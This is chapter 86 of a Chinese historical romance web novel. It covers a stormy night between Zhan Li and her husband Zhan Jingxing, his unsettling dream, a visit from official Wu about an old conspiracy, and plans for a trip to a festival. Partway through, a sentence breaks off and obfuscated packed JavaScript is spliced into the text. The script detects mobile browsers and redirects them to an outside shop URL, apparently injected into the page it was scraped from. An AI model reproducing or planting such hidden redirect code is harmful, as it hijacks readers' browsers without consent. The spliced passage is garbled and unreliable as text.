86. 雨夜

作品:《夫君他醒着

    银蛇裂云,雷光暗渡,倏然一道雷鸣劈得詹狸浑身一震。


    她丢下笔,挨到詹景行身侧:“什么声音?”


    “下雨了。”


    见詹狸似乎有些害怕,詹景行起身,将窗合上。


    轰隆——


    雷光照亮他的侧颊,平添了几分晦暗。案头的书卷都被震落,烛火猛地一跳,险些便要熄灭。


    詹狸像只奓毛的狸奴,从椅子上一跃而起,离詹景行远远的,自顾自躲入铺盖中。


    “好困,我要睡了。”


    雷光将房间照的很亮,詹景行瞥她一眼,才捡起地上散落的书卷,发出一阵窸窸窣窣的响声,叫人心底发毛。


    榻上的人翻来覆去,忽唤:“景哥儿?”


    “嗯?”


    “你在做什么?”


    “怎么了?”


    “……没事。”


    詹狸又等了一会儿,依然没等到他躺下。


    “你快过来呀!”


    詹景行心下微动,隐约猜到她这般黏缠不舍的根由。


    他坐在床边褪去鞋履,衣摆忽而被抓住。纤手一遍遍摩挲他的臂膀,仿佛辨明他是否还在此处。


    “是怕雨声,还是雷声太大?”詹景行捉住她快伸入衣襟的手,温热的呼吸撒在手背。


    詹狸下意识否认:“我、我才不怕呢。”


    她扯着詹景行躺下,亲自给人掖好被角,无视那双无奈的眸子,把他裹得像个蚕蛹,接着也把自己裹起,蜷缩。


    “狸狸。”


    “干嘛?”


    詹景行缓缓开口,“从前,雷声震天响,药柜里爬出一个人……”


    大家唤她“小狸子”,只因为那小小的、幽暗的药柜,除了觅食的狸奴,本不该有谁会住在那里。


    小狸子在药柜安了家,她接受饥饿,接受寒冷,甚至接受自己嗅闻苦而涩的草药气息,皲裂于陈年老木之中。她的世间只有这一隅,气息是苦的,黑暗是浓的,寂静是深深的。


    詹狸以为是什么睡前故事,听到一半,忙从被子里爬出来打他:“你、你怎么知道!”


    “是你告诉我的。”詹景行的记忆非常人可比,关于她名字的来历,皆是她亲口所述。


    眼前人已娇羞满面,估计正后悔自己什么都跟他说。


    詹景行不再逗她,半支着身子,将被子掀开一个小口。


    又一道雷声劈落,詹狸飞速钻进去,几乎快嵌进他怀中,两个人合盖一床被子。


    他的手掌在詹狸小腹轻轻地拍,“这般做,能让你平静么?”


    她的摇头也是谎言。


    詹景行的手不动弹,却被紧紧扣住。


    啊,他别扭的妻。


    一声含混不清的笑,轻飘飘的,却让人浑身燥热,麻意自脊骨钻出,丝丝缕缕漫向四肢。


    詹狸莫名得出一个结论:“……你总是偷偷在心里取笑我。”


    詹景行一边摆正她头下丝织软枕,一边说:“我没有。”


    “那你干嘛全都记住?”


    她光洁的额头就在他俯仰之间,他却不敢落下余温。


    詹狸瞧不见他眸中翻涌的炽热,只伸手把侧躺的人推平,将脸颊贴在他宽阔的胸口;詹景行向来安之若素的心脏,此刻一声快过一声,比窗外的雷还要震得她指尖发颤。


    每当打雷下雨,小狸子抓心挠肝发出的声响,都不足以掩盖天公雷霆。


    而往后雷声轰鸣,詹狸估计只能想起,有一名男子的心跳,因她而愈演愈烈。


    詹景行抬起手肘遮脸,也不知遮个什么劲儿。


    身上人嫌他瘦骨硌得慌,总是乱动,叫他紧紧搂住那把纤细的腰,才老实。


    詹景行长长叹出一口气,把詹狸箍住:“快睡吧。”


    待她呼吸绵长,自己也困意翻涌。怀中的柔软却悄无声息侵入了他的梦。


    梦中的詹景行,有娘疼,爹没死,兄友弟恭,没有因下毒而昏迷,自然也无缘遇见他的冲喜娘子。


    按照原来的人生轨迹,他该赴科场,跻身朝堂,宦海沉浮,终身居高位权倾一方。


    可詹景行始终感到有一处缺憾,在胸膛无法填满。


    直到一次宫廷夜宴,有京城绝艳之名的花魁,闯入他眼中煌煌灯火。


    詹景行手中白玉盏忽而叮当坠地,丝竹乱耳,他全然沉浸于她钿璎、霞帔、步摇冠、霓色裙中……酒意阑珊,他愿抛弃一切,求一场独属他们二人之间的霓裳羽衣曲。


    可他不知,在风月场的“竞拍”里,他荡尽身家,也换不得与她一刻相伴。


    “狸狸?”


    京城绝艳已继承了母亲的名,略显嗔怪道,“官人,请唤妾栖月。”


    詹景行猛然惊醒,额上冷汗涔涔,只愣愣望着帐顶绣的两只鸳鸯。


    窗外雨声未停,仍有闷雷阵阵。他缓缓低头,乍见詹狸埋在自己衣襟散乱之处的墨色发顶,才勉强压下心中惊惶,平复呼吸。


    缘此一梦,往后的雷雨天,他恐怕也要心生惴惴。


    栖月,栖月…詹景行似乎在哪儿听过这个名字。


    “月中谁栖,广寒宫谁伴嫦娥?”


    詹狸被他细微的动静闹醒,揉着眼睛,还无意识往他怀里靠。


    她语气微带薄嗔:“为何醒这么早?怕明天醒不过来吗……”


    额上落了温软之物,詹狸抬手,那物又缠住她的手指。


    “只要你依旧在我身侧,怕我生褥疮而时时为我辗转,怕我受寒暑而日日将我照拂,怕我感孤寂而刻刻把我陪伴……我何惧之有?”


    可怜他动人的情话,只敢讲给迷蒙的人儿听。


    詹狸赖在床上的功夫,詹景行已更衣绾发,掬一捧温水盥漱,整饬妥当。


    待他端水回来,正好撞见詹狸换衣裳。


    她背薄如纸,白肤胜雪,身上仅穿了红肚兜和亵裤,细绳缠绞、散乱。整个人虽瘦,该有肉的地方,却是一点都不含糊。


    詹景行微微一怔,想起那个夜晚,耳后与颈侧霎时绯红一片。


    他背过身去不敢多看,话语严厉而古板:“为何更衣不往屏风之后?”


    “我都习惯了…从前你躺着的时候,我也是在榻上换的啊。”说这话的功夫,她衣裳都穿好了,何必大老远躲在屏风后边。


    “又不怕被你瞧见。”


    詹景行:……


    “为何不怕?”


    他话语清正坦然,端水走过来,仔仔细细擦洗詹狸的脸,目光却好似要吞噬她,把她咬在口中,含到融化。


    詹狸忙讨巧道:“景哥儿是顶顶的正人君子,便是瞧见了也会闭眼,狸狸这是打心底信你呢!”


    是信吗?还是轻看他?


    “你——”也会在其他人目光所及之处更衣么?


    你的都司大人,安抚使,曹昀,商琛……


    詹狸奇怪这人怎么不把话说完:“什么?”


    而詹景行另起一语,“今日有客人来访。”


    “谁啊?”她最近在构思琼华大典的事,没空上景颜记,有些好奇他口中客人的身份。


    “吴通判。”


    “吴江东他爹?来干嘛。”


    门外的乔双正好听见了,微微停步。


    “谈些旧事。”


    好吧,卖关子不告诉她,她也懒得知道。


    詹狸坐在院里绘图,区区府城的琼华“小”典,比拼内料,景颜记匠心独运,品质非凡;比拼包装,她的千机锁木盒便可拿下,只不过细节还需多多精进。


    她在纸上涂涂抹抹,还是觉得差点什么。


    “少了什么呢?”


    陈氏托着满碟林檎脍,走到她身旁,“吃不吃苹婆果?”


    “吃。”


    詹狸啊地张开嘴,陈氏喂到她口中。


    “不是切给客人吃的吗?”


    “那也得我家狸狸先尝尝味。”


    “我端去给景哥儿吧?”詹狸自告奋勇,她还没见过吴通判,瞧瞧和吴江东长得像不像。


    乔双却伸手夺过碟子,冲她抛了个媚眼:“我来就行~”


    詹狸:?


    “难得见你这么殷勤。”


    詹狸趴在窗边偷窥,只见乔双面若桃花地走到吴通判旁,放下苹婆果时,还假若


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078810|189028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无意地触碰他的手。


    吴通判年方三十五,一身藏青常服,气度雍容,自有一番利落风骨,的确能称得上俊朗。


    但乔双是啥意思……继看上他儿子后,又看上人家风华正茂的爹?


    詹狸似笑非笑,倏然对上了景哥儿的眼,马上蹲下,免得被误以为在偷听。


    陈氏把窗台下不知所措的狸奴捉走。


    “当年之事,你真下定决心要追究么?”


    案上的朱笔仍在扫动,墨迹晕开,詹景行颔首,“若纵此人,祸及者岂止我一个?放任不管,我家眷、挚友,甚至恩师,都将遭他毒手。”


    吴通判深知那人的手段,无比认同他的话。就为此事,他等了许久,许久,直到天时地利人和,“近来宁国与邻邦交恶,外战不休,主君自顾不暇,无暇理会瑞王党争,致其权柄日隆。君此时醒转,恰逢其会,我已转交尺牍,苏敬之先生为你欢喜,亦盼你择日登门相见。”


    “此事不宜耽搁,我会尽快前往靖安州。”


    “君今既无实权傍身,又因那商贾出身的内人而露了锋芒。虽握着按察使的阴私,可打草惊蛇之祸已生,务必事事谨慎,不可有半分疏漏。”


    “多谢大人提点,晚生自有分寸。”


    “大人可称不上,当年若不是我儿……还能帮衬你一二。”


    不知所议何事,竟从日中谈到日暮。难得有体面贵客登门,陈氏和乔双在灶房好一顿忙活,势必要做一桌好菜。


    而詹狸盯着盆中泡在水里的苹婆果,问阿爷:“为什么吃不完要这样放?”


    “这样弄才不会变色,放桌上的话,没一会儿就黄得像邻家那只狗了。”


    黄狗似乎听到有人叫它,拔腿跑来,在若有所思的詹狸脚下绕了许多圈圈。


    詹狸被它闹得没法子,蹲下来狠狠摸了一把。


    饭桌上,乔双都快把吴通判盯穿了,也不知这人做了何事,耳尖泛红,还不敢看她。


    “多吃点。”乔双夹起一块肉,放在他饭上。


    詹狸勾起嘴角,学着她的模样,给詹景行夹菜:“多吃点~”被乔双瞪了一眼。


    詹景行受宠若惊,眼下还无法吃下如此肥腻的肉,辗转一轮又回到詹狸碗里。


    “对了,狸狸你不是说,要去什么琼华大典?”孙嫂忽然想起这回事。


    周大郎也记着,就为这个大典,詹狸有一日念叨了一整天,还欢呼雀跃得不得了:“是不是要去省城,啥会儿上去?”


    “就是这几天,年前肯定回来。”


    若不是家中两个娃娃还太小,经不起奔波,詹狸真想带全家人一块儿上靖安州玩一圈。


    本来想让乔姐姐陪着,没那么无聊,可眼前人眼珠子都要黏在吴通判身上。用完饭,两个人还一起出了门,她也不自找没趣。


    詹狸瞥向大病初愈的詹景行,也不知这身板能不能受得了颠簸。


    天啊,不会又让她一个人去吧!实在不行…便找素馨,要不然偷偷去曹昀那,把春荷要过来。


    她正纠结呢,也不知是何时染上的坏习惯,一想事情,便没骨头似的将身子压到詹景行身上。


    詹景行把她娇躯扶正,“我同你一起。”


    “真的?”


    “嗯。”


    詹狸兴奋地搂住他的脖子,在脸颊上“啾”地亲了一口,声音清脆:“我就晓得景哥儿对我最好了!”


    说完便欢快转身收拾东西去,徒留詹景行一个人僵在原地。


    柔软的馨香尚未散去,如火燎原,烫得他耳根发麻,只怔怔抬手捂住脸颊,脑子里嗡嗡作响,所有的思绪都被那一声“啾”撞得七零八落。


    他张了张嘴,却发不出任何声音,只能眼睁睁目送那道活泼的背影消失在里屋门口。


    詹景行移开手,赫然看清掌心黏着一抹靡丽的、被蹭开的嫣红——是詹狸唇上饱满的口脂。


    他鬼使神差地,将掌心缓缓贴上自己的唇,舌尖尝到一抹罪恶的甜味。


    从未有这么一个念头清晰浮现。


    他想要更多。想要这抹红,原原本本地,完整地,印在他的唇上。